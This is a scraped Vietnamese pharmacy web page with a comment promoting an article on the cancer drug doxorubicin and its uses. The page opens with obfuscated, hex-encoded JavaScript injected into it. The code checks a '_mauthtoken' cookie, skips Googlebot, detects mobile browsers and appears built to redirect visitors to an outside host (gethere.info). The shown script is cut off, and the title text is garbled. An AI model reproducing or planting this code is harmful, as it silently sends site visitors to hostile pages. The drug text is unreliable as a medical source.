_0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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One thought on “Doxorubicin. Chai???a ung th?i??

  1. Huỳnh Kiều says:

    Tracuuthuoctay chia sẻ bài viết  Doxorubicin. Chữa ung thư à gì? giá thuốc bao nhiêu? chỉ định, cách sử dụng, tác dụng phụ thuốc  Doxorubicin. Ung thư vú, u xương ác tính (sarcom xương) và u xương Ewing, u mô mềm, u khí phế quản, u lympho ác tính cả 2 dạng: Hodgkin và không Hodgkin, ung thư biểu mô tuyến giáp (carcinom tuyến giáp). Ung thư đường tiết niệu và sinh dục: Ung thư tử cung, ung thư bàng quang, ung thư tinh hoàn. Khối u đặc của trẻ em: Sarcom cơ vân (Rhabdomyosarcom), u nguyên bào thần kinh, u Wilm, bệnh leucemi cấp
    #Doxorubicin. , #thuocDoxorubicin. #tracuuthuoctay, #yduoc, #nhathuoc

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